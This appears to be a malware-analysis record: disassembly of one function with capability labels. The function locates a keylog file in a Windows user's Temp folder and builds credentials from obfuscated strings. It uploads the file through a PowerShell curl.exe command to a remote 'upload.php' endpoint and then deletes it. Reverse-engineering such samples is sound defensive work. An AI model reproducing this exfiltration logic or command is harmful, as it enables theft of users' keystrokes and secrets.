Function at 0x401e7a
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_boot.txt
lea eax, [ebp - 0x104]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4221dc
lea eax, [ebp - 0x104]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401ede
mov dword [esp], str.No_keylog_file
call sym._puts
mov eax, 1
jmp 0x4020e6
mov dword [ebp - 0x10e], 0x6f6d6962
mov dword [ebp - 0x10a], 0x6c68746e
mov word [ebp - 0x106], 0x79
lea eax, [ebp - 0x10e]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x18], eax
mov dword [esp], 0x422408
call sym._run_keygen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._base64_encode
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xc], 0
jmp 0x401f63
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x115]
mov edx, dword [ebp - 0xc]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 6
jbe 0x401f47
mov byte [ebp - 0x10e], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0
jmp 0x401fa3
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x11c]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 6
jbe 0x401f87
mov byte [ebp - 0x115], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._ping
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401fdb
mov dword [esp], str.Ping_failed__exit
call sym._puts
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._exit
call sym._get_uid
mov dword [ebp - 0x30], eax
mov dword [esp], 0
call sym._time
mov dword [ebp - 0x34], eax
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x1e4]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x1c], 0x41f084
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.AppDataLocalTemp
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x115]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_curl.exe__u__s:_s__F__file_C:Users_s_s_boot.txt__http:___s:_s_uploads_upload.php
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4020c2
mov dword [esp], str.__Upload_SUCCESS
call sym._puts
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_boot.txt
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x4020e1
jmp 0x4020d5
mov dword [esp], str.__Uploaded_FAIL
call sym._puts
mov eax, 1
jmp 0x4020e6
mov dword [esp], str.__Remove_boot.txt_failed
call sym._puts
mov eax, 0
leave
ret